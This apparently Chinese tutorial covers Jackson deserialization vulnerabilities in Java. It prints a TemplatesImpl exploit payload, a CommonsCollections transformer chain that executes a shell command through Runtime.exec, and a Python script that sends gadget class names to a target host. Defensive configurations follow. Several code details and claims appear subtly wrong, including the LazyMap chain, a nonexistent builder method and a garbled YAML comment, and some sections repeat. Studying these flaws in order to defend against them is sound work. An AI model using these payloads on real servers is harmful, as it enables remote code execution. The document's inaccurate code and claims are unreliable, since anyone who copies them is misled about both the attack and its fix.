一、Jackson 是什么

Jackson 是 Java 生态中最主流的 JSON 处理库,Spring Boot 默认 JSON 引擎。

核心类 ObjectMapper 提供三种用法:

  • readValue(json, Class) —— 反序列化
  • writeValueAsString(obj) —— 序列化
  • enableDefaultTyping() —— 开启多态类型支持(危险!)

二、多态类型的三种启用方式

方式 A:@JsonTypeInfo + @JsonSubTypes(推荐)

@JsonTypeInfo(use=JsonTypeInfo.Id.NAME,
              property="@type",
              include=JsonTypeInfo.As.PROPERTY)
@JsonSubTypes({
    @JsonSubTypes.Type(value=AdminUser.class, name="Admin"),
    @JsonSubTypes.Type(value=NormalUser.class, name="Normal")
})
public abstract class BaseUser {
    public String name;
}

JSON 格式:{"@type":"Admin","name":"admin"}。白名单明确列出了可以反序列化的子类,安全可控。

方式 B:enableDefaultTyping()(危险!)

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

NON_FINAL 模式下,所有非 final 类型都会自动添加 @class 字段。这等同于对所有非 final 类开启 AutoType——和 Fastjson 漏洞原理完全一样。

方式 C:activateDefaultTyping + PolymorphicTypeValidator(Jackson 2.10+)

ObjectMapper mapper = JsonMapper.builder()
    .activateDefaultTyping(
        BasicPolymorphicTypeValidator.builder()
            .allowIfSubType("com.example.")
            .denySubClass(Arrays.asList(Object.class))
            .build(),
        ObjectMapper.DefaultTyping.NON_FINAL,
        JsonTypeInfo.As.PROPERTY)
    .build();

通过 PolymorphicTypeValidator 显式白名单允许 com.example. 前缀的类。

JSON 格式对比

模式 WRAPPER_ARRAY PROPERTY 说明
1.x 默认 ["类名", {...}] 数组包裹
2.x 默认 {"@class":"...",...} 属性内联

三、历史漏洞

CVE-2017-7525(Jackson 2.8.9)

TemplatesImpl + @JsonTypeInfo 配合 JNDI / BCEL 加载恶意字节码:

String payload = "[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", " +
    "{\"_name\":\"x\"," +
    "\"_objectStreamValid\":true," +
    "\"_transletBytecodes\":[\"AAECAAAD...恶意class字节...\"]," +
    "\"_transletNames\":[\"x\"]}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
// TemplatesImpl.defineTransletClasses() 加载恶意字节码 → RCE

LazyMap + CommonsCollections 链

Jackson 本身不直接 RCE,但如果 target classpath 有 commons-collections:

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();

Transformer[] chain = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"touch /tmp/jackson_cc"})
};
Map lazyMap = LazyMap.decorate(new HashMap(), new ChainedTransformer(chain));
String json = mapper.writeValueAsString(lazyMap);
System.out.println(json);
// {"@class":"org.apache.commons.collections.map.LazyMap",...} → 再喂回 ObjectMapper 触发
Object restored = mapper.readValue(json, Object.class);

Spring Boot autoConfiguration 风险

如果配置了:

spring:
  mvc:
    converters:
      - org.springframework.http.converter.json.MappingJackson2HttpMessageConverter
  jackson:
    serialization:
      write-dates-as-timestamps: true
    deserialization:
      fail-on-unknown-properties: false

这本身安全。但如果有自定义 @Bean:

@Bean
public ObjectMapper objectMapper() {
    ObjectMapper m = new ObjectMapper();
    m.enableDefaultTyping(); // ⚠️ 危险!
    return m;
}

四、漏洞检测脚本

import requests, json

def test_jackson(host, port, gadget_class):
    payload = json.dumps([gadget_class, {"@value":"x"}])
    try:
        r = requests.post(f"http://{host}:{port}/api/json",
                         data=payload,
                         headers={"Content-Type":"application/json"})
        if gadget_class in r.text or "TemplatesImpl" in r.text:
            return True
        return False
    except:
        return False

GADGETS = [
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "org.apache.commons.collections.map.LazyMap",
    "org.springframework.aop.config.ConfigBeanFactoryPostProcessor"
]
for g in GADGETS:
    print(f"{g}: {test_jackson('target.com', 8080, g)}")

五、防御方案

5.1 禁用全局 default typing

// Spring Boot
@Bean
public ObjectMapper objectMapper() {
    return JsonMapper.builder().disableDefaultTyping().build();
}
// 或 application.yml
# spring.jackson.mapper.default-view-inclusion=true (间接不开启)

5.2 只用 @JsonTypeInfo 白名单

@JsonTypeInfo(use=JsonTypeInfo.Id.NAME, include=JsonTypeInfo.As.PROPERTY, property="@type")
@JsonSubTypes({
    @JsonSubTypes.Type(value=AdminUser.class, name="Admin"),
    @JsonSubTypes.Type(value=NormalUser.class, name="Normal")
})
public abstract class SafeBase { }

5.3 PolymorphicTypeValidator 白名单

// Jackson 2.10+ 推荐方式
ObjectMapper mapper = JsonMapper.builder()
    .activateDefaultTyping(
        BasicPolymorphicTypeValidator.builder()
            .allowIfSubType("com.example.safe.")
            .build(),
        DefaultTyping.NON_FINAL,
        JsonTypeInfo.As.PROPERTY)
    .build();

六、总结

Jackson 反序列化和 Fastjson 本质相同——都是为了方便开了多态反序列化,target classpath 里恰好有 gadget 链。区别是 Fastjson 用 @type 字段,Jackson 用 enableDefaultTyping。防御核心永远不要对外部不可信数据开启全局多态反序列化,只用 @JsonTypeInfo + @JsonSubTypes 的显式白名单方式。

七、常见 Spring Boot 反序列化配置错误

错误的 ObjectMapper Bean 配置经常在 Stack Overflow 上被错误地分享:

// 危险!网上常见的错误代码
@Bean
public ObjectMapper getObjectMapper() {
    ObjectMapper om = new ObjectMapper();
    om.enableDefaultTyping();
    om.setVisibility(PropertyAccessor.FIELD, JsonAutoDetect.Visibility.ANY);
    return om;
}

这段代码把 Jackson 变成了反序列化武器。正确写法:

@Bean
public ObjectMapper getObjectMapper() {
    return JsonMapper.builder()
        .disableDefaultTyping()
        .disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES)
        .build();
}

八、Jackson 和 CommonsCollections 的组合利用

Jackson 本身不直接 RCE,但如果 classpath 里有 commons-collections,enableDefaultTyping 会把 CC 链对象也序列化出来。这和 Fastjson 漏洞原理完全一样——两个漏洞叠加起来威力翻倍。

九、Jackson 2.10 的 PolymorphicTypeValidator

Jackson 2.10 引入了 PolymorphicTypeValidator,允许更细粒度的控制:

BasicPolymorphicTypeValidator validator = BasicPolymorphicTypeValidator.builder()
    .allowIfSubType("com.example.safe.")
    .denySubClass(Arrays.asList(Object.class))
    .denyIfSubType("com.sun.")
    .allowIfSubTypeIsArray()
    .build();

ObjectMapper mapper = JsonMapper.builder()
    .activateDefaultTyping(validator,
        DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY)
    .build();

这才是正确的多态反序列化方式——白名单而不是黑名单。

十、总结补充

Jackson 反序列化和 Fastjson 本质上是同一类漏洞——为了方便开启了多态反序列化,结果攻击者用这个功能来加载恶意类。区别只是 Jackson 用 enableDefaultTyping,Fastjson 用 @type。防御上最可靠的做法是 永远只用 @JsonTypeInfo + @JsonSubTypes 的显式白名单方式,不要全局开启任何形式的 auto typing。